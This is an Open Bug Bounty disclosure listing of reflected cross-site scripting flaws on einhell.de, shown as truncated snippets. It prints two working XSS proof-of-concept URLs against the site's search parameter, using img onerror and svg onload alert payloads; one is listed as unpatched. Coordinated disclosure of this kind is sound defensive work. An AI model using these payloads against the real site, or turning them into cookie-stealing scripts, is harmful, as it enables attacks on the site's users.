einhell.de Cross Site Scripting vulnerability OBB-2127851

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: &nbsp&nbsp&nbsp&nbsp&nbsp&nbspa. verified the vulnerability and confirmed its existence; &nbsp&nbsp&nbsp&nbsp&nbsp&nbspb. notified the website operator about its existence...

einhell.de XSS vulnerability

Vulnerable URL: http://www.einhell.de/dede/suche.html/?term=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg%20src%3Dy%20onerror%3Dalert%2Fopenbugbounty%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

einhell.de XSS vulnerability

Vulnerable URL: http://www.einhell.de/deen/search.html/?term=%22%3Eblub%3Csvg%2Fonload%3DalertString.fromCharCode79,80,69,78,66,85,71,66,79,85,78,84,89%3E%27 Details: Description| Value ---|--- Patched:| Yes, at 21.06.2017 Latest check for patch:| 21.06.2017 10:33 GMT Vulnerability type:| XSS...